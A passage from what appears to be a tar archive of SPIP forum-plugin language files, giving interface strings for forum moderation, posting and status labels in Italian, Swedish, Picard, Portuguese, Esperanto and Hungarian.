'item_config_forums_prive_global' => 'Attiva i forum dei redattori',
'item_config_forums_prive_objets' => 'Attiva questi forum',
'item_desactiver_forum_administrateur' => 'Disattiva il forum degli amministratori',
'item_non_config_forums_prive_global' => 'Disattiva i forum dei redattori',
'item_non_config_forums_prive_objets' => 'Disattiva questi forum',
// L
'label_selectionner' => 'Selezionare :',
'lien_reponse_article' => 'Risposta all’articolo',
'lien_reponse_breve_2' => 'Risposta alla breve',
'lien_reponse_message' => 'Rispondi al messaggio',
'lien_reponse_rubrique' => 'Risposta alla rubrica',
'lien_reponse_site_reference' => 'Commenti su questo sito',
'lien_vider_selection' => 'Selezione vuota',
// M
'messages_aucun' => 'Nessuno',
'messages_meme_auteur' => 'Tutti i messaggi di questo autore',
'messages_meme_email' => 'Tutti i messaggi da questa email',
'messages_meme_ip' => 'Tutti i messaggi da questo IP',
'messages_off' => 'Cancellati',
'messages_perso' => 'Personale',
'messages_privadm' => 'Amministratori',
'messages_prive' => 'Privato',
'messages_privoff' => 'Cancellati',
'messages_privrac' => 'Generale',
'messages_prop' => 'Proposto',
'messages_publie' => 'Pubblicato',
'messages_spam' => 'Spam',
'messages_tous' => 'Tutto',
// O
'onglet_messages_internes' => 'Messaggi interni',
'onglet_messages_publics' => 'Messaggi pubblici',
'onglet_messages_vide' => 'Messaggi senza testo',
// R
'repondre_message' => 'Rispondere al messaggio',
// S
'statut_off' => 'Cancellato',
'statut_original' => 'originale',
'statut_prop' => 'Proposto',
'statut_publie' => 'Pubblicato',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'Non esitare ad esprimere il tuo punto di vista nel forum di questo articolo (a fondo pagina).',
'texte_en_cours_validation' => 'Articoli, brevi, forum sottostanti sono proposti per la pubblicazione',
'texte_en_cours_validation_forum' => 'Non esitare ad esprimere il tuo punto di vista utilizzando i forum ad essi dedicati.',
'texte_messages_publics' => 'Messaggi pubblici su:',
'titre_cadre_forum_administrateur' => 'Forum privato degli amministratori',
'titre_cadre_forum_interne' => 'Forum interno',
'titre_config_forums_prive' => 'Forum dell’area riservata',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Monitoraggio dei forum',
'titre_page_forum_suivi' => 'Monitoraggio dei forum',
'titre_selection_action' => 'Selezione',
'tout_voir' => 'Vedi tutti i messaggi',
// V
'voir_messages_objet' => 'vedi il messaggio'
);
?>
forum_sv.php 0000666 00000012777 15252247467 0007155 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=sv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'endast för framtida artiklar (ingen inverkan på databasen).',
'bouton_radio_articles_tous' => 'på alla artiklar utan undantag.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'på alla artiklar utom de utan forum.',
'bouton_radio_enregistrement_obligatoire' => 'Krav på registrering (användare måste registrera sig genom att tillhandahålla sin e-postadress innan de kan bidra). being able to post contributions).',
'bouton_radio_moderation_priori' => 'Moderering i förhand (bidrag visas endast efter att de godkänts av en administatör).', # MODIF
'bouton_radio_modere_abonnement' => 'registrering krävs',
'bouton_radio_modere_posteriori' => 'moderering i efterhand', # MODIF
'bouton_radio_modere_priori' => 'moderering i förhand', # MODIF
'bouton_radio_publication_immediate' => 'Omedelbar publicering av meddelanden (bidrag visas direkt efter att de skickas, administratörer kan radera dom senare):',
// D
'documents_interdits_forum' => 'Dokument är inte tillåtna i forumet',
// F
'form_pet_message_commentaire' => 'Något meddelande eller kommentar?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Du har inte längre tillgång till dessa forum.',
'forum_attention_dix_caracteres' => '<b>Varning!</b> Ditt meddelande måste vara minst 10 tecken långt.',
'forum_attention_trois_caracteres' => '<b>Varning!</b> Din rubrik måste vara minst tre tecken lång.',
'forum_attention_trop_caracteres' => '<b>Warning !</b> Ditt meddelande är för långt (@compte@ characters) : För att det skall kunna skrivas får meddelandet inte innehålla mer än @max@ tecken.', # MODIF
'forum_avez_selectionne' => 'Du har valt:',
'forum_cliquer_retour' => 'Klicka <a href=\'@retour_forum@\'>här</a> för att fortsätta.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Detta forum är modererat: ditt bidrag kommer att synas först när någon moderator har godkänt det.', # MODIF
'forum_lien_hyper' => '<b>Länk</b> (valfritt)', # MODIF
'forum_message_definitif' => 'Slutligt meddelande: skicka till sajten',
'forum_message_trop_long' => 'Ditt meddelande är för långt. Det får inte vara mer än 2000 tecken.', # MODIF
'forum_ne_repondez_pas' => 'Svara inte på detta brev utan i forumet på denna adress:', # MODIF
'forum_page_url' => '(Om ditt meddelande refererar till en artikel publicerad på webben eller till en sida med mer information, ange namnet på sidan och dess adress nedan).',
'forum_poste_par' => 'Meddelande inskickat@parauteur@ efter din artikel', # MODIF
'forum_qui_etes_vous' => '<b>Vem är du?</b> (valfritt)', # MODIF
'forum_texte' => 'Texten i meddelandet:', # MODIF
'forum_titre' => 'Ämne:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Granska valet',
'forum_voir_avant' => 'Förhandsgranska meddelandet innan du skickar det', # MODIF
'forum_votre_email' => 'Din epost-adress', # MODIF
'forum_votre_nom' => 'Ditt namn (eller alias):', # MODIF
'forum_vous_enregistrer' => 'För att delta
i detta forum måste du vara registrerad. Var vänlig
att skriv in ditt användarnamn som du fick.
Om du inte är registrerad, måste du ',
'forum_vous_inscrire' => 'registrera dig.',
// I
'icone_poster_message' => 'Anslå ett meddelande',
'icone_suivi_forum' => 'Uppföljning av publika forum: @nb_forums@ bidrag',
'icone_suivi_forums' => 'Hantera forumen',
'icone_supprimer_message' => 'Radera meddelandet',
'icone_valider_message' => 'Godkänn meddelandet',
'info_activer_forum_public' => '<i>för att aktivera publika forum, var vänlig och välj moderationssätt:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aktivera ditt val av moderering:',
'info_desactiver_forum_public' => 'Avaktivera de publika forumen.
Publika forum kan tillåtas för
enskilda artiklar; de kommer inte att vara aktiva för avdelningae, nyheter, osv.',
'info_envoi_forum' => 'Skicka foruminlägg till artikelredaktörerna',
'info_liens_syndiques_3' => 'forum',
'info_liens_syndiques_4' => 'är',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'är',
'info_liens_syndiques_7' => 'i väntan på validering.',
'info_mode_fonctionnement_defaut_forum_public' => 'Valt funktionssätt för de publika forumen',
'info_pas_de_forum' => 'inget forum',
'item_activer_forum_administrateur' => 'Aktivera administratörernas forum',
'item_config_forums_prive_global' => 'Aktivera redaktörernas forum',
'item_config_forums_prive_objets' => 'Aktivera dessa forum',
'item_desactiver_forum_administrateur' => 'Avaktivera administratörernas forum',
'item_non_config_forums_prive_global' => 'Avaktivera redaktörernas forum',
'item_non_config_forums_prive_objets' => 'Avaktivera dessa forum',
// L
'lien_reponse_article' => 'Svara på artikeln',
'lien_reponse_breve_2' => 'Skriv ett svar på nyheten',
'lien_reponse_rubrique' => 'Skriv ett svar till avdelningen',
// O
'onglet_messages_internes' => 'Interna meddelanden',
'onglet_messages_publics' => 'Publika meddelanden',
'onglet_messages_vide' => 'Meddelanden utan text',
// R
'repondre_message' => 'Svara på meddelandet',
// S
'statut_original' => 'original',
// T
'titre_cadre_forum_administrateur' => 'Administratörernas privata forum ',
'titre_cadre_forum_interne' => 'Internt forum',
'titre_forum' => 'Forum'
);
?>
forum_roa.php 0000666 00000006647 15252247467 0007305 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=roa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'form_pet_message_commentaire' => 'Un message, un commentaire ?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Vous n’avez plus accès à ces forums.',
'forum_attention_dix_caracteres' => '<b>Attention !</b> votre message doit contenir au moins dix caractères.',
'forum_attention_trois_caracteres' => '<b>Attention !</b> votre titre doit contenir au moins trois caractères.',
'forum_attention_trop_caracteres' => '<b>Attention !</b> votre message est trop long (@compte@ caractères) : pour pouvoir être enregistré, il ne doit pas dépasser @max@ caractères.', # MODIF
'forum_avez_selectionne' => 'Vous avez sélectionné :',
'forum_cliquer_retour' => 'Cliquez <a href=\'@retour_forum@\'>ici</a> pour continuer.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Ce forum est modéré à priori : votre contribution n’apparaîtra qu’après avoir été validée par un administrateur du site.', # MODIF
'forum_lien_hyper' => '<b>Lien hypertexte</b> (optionnel)', # MODIF
'forum_message_definitif' => 'Message définitif : envoyer au site',
'forum_message_trop_long' => 'Votre message est trop long. La taille maximale est de 20000 caractères.', # MODIF
'forum_ne_repondez_pas' => 'Ne repondez pas a ce mail mais sur le forum a l’adresse suivante :', # MODIF
'forum_page_url' => '(Si votre message se réfère à un article publié sur le Web, ou à une page fournissant plus d’informations, vous pouvez indiquer ci-après le titre de la page et son adresse.)',
'forum_poste_par' => 'Message posté@parauteur@ à la suite de l’article « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Qui êtes-vous ?</b> (optionnel)', # MODIF
'forum_texte' => 'Texte de votre message :', # MODIF
'forum_titre' => 'Titre :', # MODIF
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'Valider ce choix',
'forum_voir_avant' => 'Voir ce message avant de le poster', # MODIF
'forum_votre_email' => 'Votre adresse email :', # MODIF
'forum_votre_nom' => 'Votre nom (ou pseudonyme) :', # MODIF
'forum_vous_enregistrer' => 'Pour participer à
ce forum, vous devez vous enregistrer au préalable. Merci
d’indiquer ci-dessous l’identifiant personnel qui vous a
été fourni. Si vous n’êtes pas enregistré, vous devez',
'forum_vous_inscrire' => 'vous inscrire.',
// I
'icone_suivi_forums' => 'Suivre/gérer les forums',
'icone_supprimer_message' => 'Supprimer ce message',
'icone_valider_message' => 'Valider ce message',
'info_activer_forum_public' => '<i>Pour activer les forums publics, veuillez choisir leur mode
de modération par défaut:</i>', # MODIF
'info_option_email' => 'Lorsqu’un visiteur du site poste un nouveau message dans le forum
associé à un article, les auteurs de l’article peuvent être
prévenus de ce message par e-mail. Souhaitez-vous utiliser cette option ?', # MODIF
// L
'lien_reponse_site_reference' => 'Réponse au site référencé :', # MODIF
// O
'onglet_messages_internes' => 'Messages internes',
'onglet_messages_publics' => 'Messages publics',
'onglet_messages_vide' => 'Messages sans texte',
// R
'repondre_message' => 'Réponte à cheul messache',
// T
'titre_forum' => 'Forum'
);
?>
forum_pt.php 0000666 00000024241 15252247467 0007135 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Sem mensagens de fórum',
// B
'bouton_radio_articles_futurs' => 'aos futuros artigos unicamente (não há acção sobre a base de dados) ',
'bouton_radio_articles_tous' => 'a todos os artigos sem excepção',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a todos os artigos, excepto aqueles cujo fórum está desactivado',
'bouton_radio_enregistrement_obligatoire' => 'Registo obrigatório (os
utilizadores devem ter uma assinatura ao fornecer o seu endereço e-mail antes de
poderem enviar contribuições).',
'bouton_radio_moderation_priori' => 'Pré-moderação (as contribuições aparecem publicamente só depois da validação pelos administradores). ',
'bouton_radio_modere_abonnement' => 'requer assinatura',
'bouton_radio_modere_posteriori' => 'moderado depois da publicação',
'bouton_radio_modere_priori' => 'moderado antes da publicação',
'bouton_radio_publication_immediate' => 'Publicação imediata das mensagens
(as contribuições afixam-se logo que são enviadas, os administradores podem suprimi-las depois).',
// D
'documents_interdits_forum' => 'Documentos proibidos no fórum',
// E
'erreur_enregistrement_message' => 'A sua mensagem não pôde ser guardada devido a um problema técnico',
// F
'form_pet_message_commentaire' => 'Alguma mensagem ou comentário ?',
'forum' => 'Fórum',
'forum_acces_refuse' => 'Já não tem acesso a estes fóruns.',
'forum_attention_dix_caracteres' => '<b>Atenção !</b> a sua mensagem deve conter pelo menos dez carácteres.',
'forum_attention_message_non_poste' => 'Atenção! Não publicou a sua mensagem!',
'forum_attention_nb_caracteres_mini' => '<b>Atenção !</b> A sua mensagem deve conter pelo menos @min@ caracteres.',
'forum_attention_trois_caracteres' => '<b>Atenção !</b> o seu título deve conter pelo menos três carácteres.',
'forum_attention_trop_caracteres' => '<b>Atenção !</b> A sua mensagem é demasiado longa (@compte@ caracteres) : para poder ser guardada não pode conter mais de @max@ caracteres.',
'forum_avez_selectionne' => 'Seleccionou :',
'forum_cliquer_retour' => 'Clique <a href=\'@retour_forum@\'>ici</a> para continuar.',
'forum_forum' => 'fórum',
'forum_info_modere' => 'Este fórum é moderado antes da publicação : a sua contribuição só aparecerá depois de ser validada por um administrador do sítio.',
'forum_lien_hyper' => '<b>Link hipertexto</b> (opcional)',
'forum_message' => 'A sua mensagem',
'forum_message_definitif' => 'Mensagem definitiva: enviar para o sítio',
'forum_message_trop_long' => 'A sua mensagem é demasiado longa. O tamanho máximo é 20000 carácteres.',
'forum_ne_repondez_pas' => 'Não responda e este e-mail. Por favor use o fórum, com o endereço seguinte:',
'forum_page_url' => '(Se a sua mensagem se refere a um artigo publicado na Web, ou a uma página que fornece mais informações, por favor indique a seguir o título da página e o seu endereço URL.)',
'forum_permalink' => 'Ligação permanente ao comentário',
'forum_poste_par' => 'Mensagem publicada @parauteur@ a seguir ao seu artigo "@titre@"',
'forum_poste_par_court' => 'Mensagem publicada @parauteur@.',
'forum_poste_par_generique' => 'Mensagem publicada @parauteur@ (@objet@ « @titre@ »).',
'forum_qui_etes_vous' => '<b>Quem é você?</b> (opcional)',
'forum_saisie_texte_info' => 'este formulário aceita atalhos SPIP <code>[->url] {{bold}} {itálico} <quote> <code></code> e o código HTML <code><q> <del> <ins></code>. Para criar parágrafos, deixe linhas vazias.',
'forum_texte' => 'Texto da sua mensagem:',
'forum_titre' => 'Título:',
'forum_url' => 'O seu sítio (URL):',
'forum_valider' => 'Validar a sua escolha',
'forum_voir_avant' => 'Pré-visualizar',
'forum_votre_email' => 'O seu endereço e-mail:',
'forum_votre_nom' => 'O seu nome (pseudónimo):',
'forum_vous_enregistrer' => 'Para participar
nesse fórum, deve estar previamente registado. Por favor
indique a seguir o identificador pessoal que lhe foi
fornecido. Se não está registado, deve ',
'forum_vous_inscrire' => 'inscrever-se.',
// I
'icone_bruler_message' => 'Assinalar como Spam',
'icone_bruler_messages' => 'Assinalar como Spam',
'icone_legitimer_message' => 'Assinalar como legal',
'icone_poster_message' => 'Enviar uma mensagem ',
'icone_suivi_forum' => 'Seguimento do fórum público : @nb_forums@ contribuição(ões)',
'icone_suivi_forums' => 'Seguir/gerir os fóruns',
'icone_supprimer_message' => 'Eliminar esta mensagem',
'icone_supprimer_messages' => 'eliminar estas mensagens',
'icone_valider_message' => 'Validar esta mensagem',
'icone_valider_messages' => 'Validar estas mensagens',
'icone_valider_repondre_message' => 'Validar & Responder a esta mensagem',
'info_1_message_forum' => '1 mensagem de fórum',
'info_activer_forum_public' => '<i>Para activar os fóruns públicos, por favor escolha o seu modo
de moderação por defeito </i>',
'info_appliquer_choix_moderation' => 'Aplicar esta escolha de moderação :',
'info_config_forums_prive' => 'Na área privada do sítio pode activar vários tipos de fóruns:',
'info_config_forums_prive_admin' => 'Um fórum reservado aos administradores do sítio :',
'info_config_forums_prive_global' => 'Um fórum global, aberto a todos os autores:',
'info_config_forums_prive_objets' => 'Um fórum sobre cada artigo, notícia, referência, etc.:',
'info_desactiver_forum_public' => 'Desactivar a utilização dos fóruns
públicos. Os fóruns públicos poderão ser autorizados caso a caso
nos artigos ; serão proibidos nas rubricas, notícias, etc.',
'info_envoi_forum' => 'Envio dos fóruns aos autores dos artigos',
'info_fonctionnement_forum' => 'Funcionamento do fórum :',
'info_forums_liees_mot' => 'Mensagens de fórum ligadas a esta palavra-chave',
'info_gauche_suivi_forum_2' => 'A página <i>gestão dos fóruns </i> é um instrumento de gestão do seu sítio (e não um espaço de discussão ou de redacção). Exibe todas as contribuições do fórum público deste artigo e permite-lhe gerir essas contribuições. ',
'info_liens_syndiques_3' => 'fóruns',
'info_liens_syndiques_4' => 'são',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'é',
'info_liens_syndiques_7' => 'à espera de validação',
'info_liens_texte' => 'Ligações no texto da mensagem',
'info_liens_titre' => 'Ligações no título da mensagem',
'info_mode_fonctionnement_defaut_forum_public' => 'Modo de funcionamento por defeito dos fóruns públicos',
'info_nb_messages_forum' => '@nb@ mensagens de fórum',
'info_option_email' => 'Quando um visitante do sítio deixa uma nova mensagem no fórum
ligado a um artigo, os autores do artigo podem ser informados por e-mail. Deseja activar essa opção ?',
'info_pas_de_forum' => 'não há fórum',
'info_question_visiteur_ajout_document_forum' => 'Se pretende autorizar os vistantes a anexar ficheiros (de imagem, som...) às suas mensagens de fórum, indique que extensões de ficheiro são autorizadas (ex: gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'Se pretende autorizar todos os tipos de documentos considerados seguros por SPIP, use um asterisco. Para não autorizar, deixe vazio.',
'info_selectionner_message' => 'Seleccionar as mensagens :',
'interface_formulaire' => 'Formulário da interface',
'interface_onglets' => 'Interface com guias',
'item_activer_forum_administrateur' => 'Activar o fórum dos administradores',
'item_config_forums_prive_global' => 'Activar o fórum dos autores',
'item_config_forums_prive_objets' => 'Activar estes fóruns',
'item_desactiver_forum_administrateur' => 'Desactivar o fórum dos administradores',
'item_non_config_forums_prive_global' => 'Desactivar o fórum dos autores',
'item_non_config_forums_prive_objets' => 'Desactivar estes fóruns',
// L
'label_selectionner' => 'Seleccionar :',
'lien_reponse_article' => 'Comentário ao artigo',
'lien_reponse_breve_2' => 'Comentário à notícia',
'lien_reponse_message' => 'Resposta à mensagem',
'lien_reponse_rubrique' => 'Comentário à rubrica ',
'lien_reponse_site_reference' => 'Comentário ao sítio referenciado',
'lien_vider_selection' => 'Esvaziar a selacção',
// M
'messages_aucun' => 'Nenhum',
'messages_meme_auteur' => 'Todas as mensagens deste autor',
'messages_meme_email' => 'Todas as mensagens deste e-mail',
'messages_meme_ip' => 'Todas as mensagens provenientes deste IP',
'messages_off' => 'Eliminadas',
'messages_perso' => 'Privadas',
'messages_privadm' => 'Administradores',
'messages_prive' => 'Privadas',
'messages_privoff' => 'Eliminadas',
'messages_privrac' => 'Geral',
'messages_prop' => 'Propostas',
'messages_publie' => 'Publicadas',
'messages_spam' => 'Spam',
'messages_tous' => 'Todas',
// O
'onglet_messages_internes' => 'Mensagens privadas',
'onglet_messages_publics' => 'Mensagens públicas',
'onglet_messages_vide' => 'Mensagens sem texto',
// R
'repondre_message' => 'Responder a esta mensagem',
// S
'statut_off' => 'Eliminado',
'statut_original' => 'original',
'statut_prop' => 'Propostas',
'statut_publie' => 'Publicadas',
'statut_spam' => 'Spam',
// T
'text_article_propose_publication_forum' => 'Pode comentar este artigo através do fórum abaixo.',
'texte_en_cours_validation' => 'Os artigos, notícias, fóruns abaixo foram propostos para publicação.',
'texte_en_cours_validation_forum' => 'Pode comentar livremente nos fóruns anexados.',
'texte_messages_publics' => 'Meensagens públicas em :',
'titre_cadre_forum_administrateur' => 'Fórum privado dos administradores',
'titre_cadre_forum_interne' => 'Fórum interno',
'titre_config_forums_prive' => 'Fóruns na área privada',
'titre_forum' => 'Fórum',
'titre_forum_suivi' => 'Acompanhamento dos fóruns',
'titre_page_forum_suivi' => 'Acompanhamento dos fóruns',
'titre_selection_action' => 'Selecção',
'tout_voir' => 'Visualizar todas as mensagens',
// V
'voir_messages_objet' => 'visualizar as mensagens'
);
?>
paquet-forum_pt.php 0000666 00000000673 15252247467 0010435 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'Fórum de SPIP (privado e público)',
'forum_slogan' => 'Gestião dos fóruns públicos e privados em SPIP'
);
?>
forum_eo.php 0000666 00000016316 15252247467 0007121 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'nur al estontaj artikoloj (neniu ago ĉe la datenbazo).',
'bouton_radio_articles_tous' => 'al ĉiuj artikoloj senescepte.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'al ĉiuj artikoloj, escepte tiuj, kies forumo estas fermita.',
'bouton_radio_enregistrement_obligatoire' => 'Deviga memregistriĝo (la uzantoj devas aboniĝi, entajpante sian retpoŝtadreson antaŭ ol sendi kontribuaĵojn).',
'bouton_radio_moderation_priori' => 'Apriora moderigado (kontribuaĵoj estas publikigataj nur post validigo far de mastrumantoj).', # MODIF
'bouton_radio_modere_abonnement' => 'per abono',
'bouton_radio_modere_posteriori' => 'aposteriore moderigata', # MODIF
'bouton_radio_modere_priori' => 'apriore moderigata', # MODIF
'bouton_radio_publication_immediate' => 'Tujpublikigo de mesaĝoj
(la kontribuaĵoj afiŝiĝas tuj post ties sendo, la mastrumantoj povas
forviŝi ilin poste).',
// D
'documents_interdits_forum' => 'Dokumentoj malpermesitaj en la forumo',
// F
'form_pet_message_commentaire' => 'Ĉu mesaĝon, ĉu komenton ?',
'forum' => 'Forumo',
'forum_acces_refuse' => 'Vi ne plu havas alir-rajton al tiuj ĉi forumoj.',
'forum_attention_dix_caracteres' => '<b>Atentu !</b> via mesaĝo devas enhavi almenaŭ dek signojn.',
'forum_attention_trois_caracteres' => '<b>Atentu !</b> via titolo devas enhavi almenaŭ tri signojn.',
'forum_attention_trop_caracteres' => '<b>Atentu !</b> via mesaĝo estas tro longa (@compte@ signoj) : por esti registrita, ĝi ne preteratingu @max@ signojn.', # MODIF
'forum_avez_selectionne' => 'Vi selektis :',
'forum_cliquer_retour' => 'Musklaku <a href=\'@retour_forum@\'>ĉi tie</a> por daŭrigi.',
'forum_forum' => 'forumo',
'forum_info_modere' => 'Tiu ĉi forumo estas apriore moderigata : via kontribuo aperos nur post validigo far de mastrumanto de la forumo.', # MODIF
'forum_lien_hyper' => '<b>Hiperligo</b> (nedeviga)', # MODIF
'forum_message_definitif' => 'Definitiva mesaĝo : sendu al la forumo',
'forum_message_trop_long' => 'Via mesaĝo estas tro longa. La maksimuma longeco estas 20.000 signojn.', # MODIF
'forum_ne_repondez_pas' => 'Ne respondu al tiu ĉi retletero, sed en la forumo ĉe la jena adreso :', # MODIF
'forum_page_url' => '(Se via mesaĝo rilatas al artikolo publikigita ĉe la reto, aŭ al paĝo donanta pli da informoj, bonvolu indiki ĉi-poste la titolon de la paĝo kaj ties ret-adreson.)',
'forum_poste_par' => 'Mesaĝo posté@parauteur@ reage al via artikolo « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Kiu vi estas ?</b> (nedeviga)', # MODIF
'forum_texte' => 'Teksto de via mesaĝo :', # MODIF
'forum_titre' => 'Titolo :', # MODIF
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'Validigi tiun elekton',
'forum_voir_avant' => 'Vidi tiun ĉi mesaĝon antaŭ ol sendi ĝin', # MODIF
'forum_votre_email' => 'Via retpoŝtadreso',
'forum_votre_nom' => 'Via nomo (aŭ salutnomo) :', # MODIF
'forum_vous_enregistrer' => 'Por partopreni en ;
tiu ĉi forumo, vi devas antaŭe registriĝi. Bonvolu
indiki ĉi-sube la personan ensalutilon kiu estis
sendita al vi. Se vi ne estas registrita, vi devas',
'forum_vous_inscrire' => 'registriĝi.',
// I
'icone_poster_message' => 'Sendi mesaĝon',
'icone_suivi_forum' => 'Superrigardo de la publika forumo : @nb_forums@ kontribuo(j)',
'icone_suivi_forums' => 'Superrigardi/mastrumi la forumojn',
'icone_supprimer_message' => 'Forigi tiun mesaĝon',
'icone_valider_message' => 'Validigi tiun mesaĝon',
'info_activer_forum_public' => '<i>Por aktivigi la publikajn forumojn, bonvolu elekti ilian
defaŭltan moderig-reĝimon :</i>', # MODIF
'info_appliquer_choix_moderation' => 'Apliki tiun moderig-elekton :',
'info_config_forums_prive' => 'En la privata spaco de la retejo, vi povas aktivigi plurajn tipojn de forumoj :', # MODIF
'info_config_forums_prive_admin' => 'Forumo rezervita al retejaj mastrumantoj :',
'info_config_forums_prive_global' => 'Ĝenerala forumo, malfermita al ĉiuj redaktantoj :',
'info_config_forums_prive_objets' => 'Forumo sub ĉiu artikolo, fulminformo, referencigita retejo, ktp :',
'info_desactiver_forum_public' => 'Malaktivigi la uzon de la publikaj forumoj.
La publikaj forumoj estos laŭkaze unu post la alia permesitaj
laŭ la artikoloj ; ili estos malpermesataj koncerne rubrikojn, fulm-informojn, ktp.',
'info_envoi_forum' => 'Sendo de la forumoj al aŭtoroj de la artikoloj',
'info_fonctionnement_forum' => 'Funkciado de la forumo :',
'info_gauche_suivi_forum_2' => 'La paĝo pri <i>superkontrolo de la forumoj</i> estas mastrumilo por via retejo (kaj ne diskutejo aŭ redaktejo). Ĝi afiŝas ĉiujn kontribuaĵojn de la forumoj (de la publika spaco same kiel de la privata), kaj ebligas al vi mastrumi tiujn kontribuaĵojn.', # MODIF
'info_liens_syndiques_3' => 'forumoj',
'info_liens_syndiques_4' => 'estas',
'info_liens_syndiques_5' => 'forumo',
'info_liens_syndiques_6' => 'estas',
'info_liens_syndiques_7' => 'validigotaj',
'info_mode_fonctionnement_defaut_forum_public' => 'Defaŭlta funkcimodo de la publikaj forumoj',
'info_option_email' => 'Kiam vizitanto de la retejo sendas novan mesaĝon en la forumon
ligitan kun artikolo, eblas retpoŝte sciigi pri tiu mesaĝo al la aŭtoroj de la artikolo. Indiku por ĉia forumo, ĉu tiun eblecon oni uzu.',
'info_pas_de_forum' => 'neniu forumo',
'info_question_visiteur_ajout_document_forum' => 'Ĉu vi permesas al vizitantoj kunsendi dokumentojn (bildojn, sonaĵojn...) al siaj forumaj mesaĝoj ?', # MODIF
'info_question_visiteur_ajout_document_forum_format' => 'Laŭkaze, bonvolu indiki ĉi-sube la liston de dosiernomaj sufiksoj permesitaj por la forumoj (ekz : gif, jpg, png, mp3).', # MODIF
'item_activer_forum_administrateur' => 'Aktivigi la forumon de la mastrumantoj',
'item_config_forums_prive_global' => 'Aktivigi la forumon de redaktantoj',
'item_config_forums_prive_objets' => 'Aktivigi tiujn ĉi forumojn',
'item_desactiver_forum_administrateur' => 'Malaktivigi la forumon de la mastrumantoj',
'item_non_config_forums_prive_global' => 'Malaktivigi la forumon de redaktantoj',
'item_non_config_forums_prive_objets' => 'Malaktivigi tiujn ĉi forumojn',
// L
'lien_reponse_article' => 'Respondo al la artikolo',
'lien_reponse_breve_2' => 'Respondo al la fulm-informo',
'lien_reponse_rubrique' => 'Respondo al la rubriko',
'lien_reponse_site_reference' => 'Respondo al la referencigita retejo :', # MODIF
// O
'onglet_messages_internes' => 'Internaj mesaĝoj',
'onglet_messages_publics' => 'Publikaj mesaĝoj',
'onglet_messages_vide' => 'Sentekstaj mesaĝoj',
// R
'repondre_message' => 'Respondi al tiu mesaĝo',
// S
'statut_original' => 'originala',
// T
'titre_cadre_forum_administrateur' => 'Privata forumo de la mastrumantoj',
'titre_cadre_forum_interne' => 'Interna forumo',
'titre_config_forums_prive' => 'Forumoj de la privata spaco',
'titre_forum' => 'Forumo',
'titre_forum_suivi' => 'Superrigardo de la forumoj',
'titre_page_forum_suivi' => 'Superrigardo de la forumoj'
);
?>
paquet-forum_pt_br.php 0000666 00000000703 15252247467 0011112 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'Fórum do SPIP (privado e público)',
'forum_slogan' => 'Gerenciamento dos fóruns privados e públicos do SPIP'
);
?>
forum_hu.php 0000666 00000014143 15252247467 0007126 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=hu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'csak a leendő cikkek részére (nincs hatás az adatbázisban).',
'bouton_radio_articles_tous' => 'minden cikknek, kivétel nélkül.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'minden cikknek, kivéve azokat, melynek nincs aktiválva a fóruma.',
'bouton_radio_enregistrement_obligatoire' => 'Beíratkozás kötelező (a felhasználóknak be kell iratkozniuk azzal, hogy adják email címüket mielőbb küldhessenek anyagokat).',
'bouton_radio_moderation_priori' => 'Előzetes moderálás (a
küldött anyagok csak az adminisztrátorok adta jováhagyást kerülnek nyilvánosságra).', # MODIF
'bouton_radio_modere_abonnement' => 'moderálva beiratkozásnál',
'bouton_radio_modere_posteriori' => 'utólag moderált', # MODIF
